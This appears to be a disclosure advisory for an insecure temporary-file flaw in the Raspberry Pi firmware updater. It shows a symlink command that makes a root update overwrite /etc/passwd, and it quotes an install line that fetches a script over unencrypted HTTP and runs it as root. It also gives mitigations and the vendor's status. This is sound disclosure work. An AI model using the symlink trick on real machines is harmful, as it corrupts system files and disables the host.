`Raspberry Pi Firmware Updater Vulnerability
Github source as of 10ad1e975a (10th Feb commit)
A malicious user can clobber any file due to insecure tmp file handling.
Any unprivileged user can create the following symlink, either from
a shell account, or by malicious web content such as PHP scripts.
pi@raspberrypi ~ $ ln -s /etc/passwd /tmp/updateScript.sh
Once in place, the symlink is awaiting the administrator to run an update:
pi@raspberrypi ~ $ sudo rpi-update
pi@raspberrypi ~ $ cat /etc/passwd
if mv "./testfile.sh.tmp" "./testfile.sh"; then
rm -- "$0"
exec env UPDATE_SELF=0 /bin/bash "./testfile.sh" ""
echo " !!! Failed!"
As of this point, the pi is quite unusable due to the corrupted password database.
Note that the attacker cannot customise the content, for example, to set
a UID0 account.
The installation recommends the following command:
sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update
Although the selfupdate functionality utilises SSL to ensure the integrity of the download, the installation process uses a URL shortening service without SSL to download the bash script, which the user is then encouraged to run as the root user.
Fix and Vendor Response
A pull request detailing exploit #1 and including a simple patch was submitted February 6th. The patch has not yet been accepted.
By running rpi-update with the self update feature disabled, the affected code is not executed. Example:
sudo UPDATE_SELF=0 rpi-update
If you would like to update the application manually, or perform an initial installation safely, use the following commands:
sudo cp rpi-update /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update
Note that applying the patch in my pull request will not be a complete solution, as it will be reverted after the first automatic update.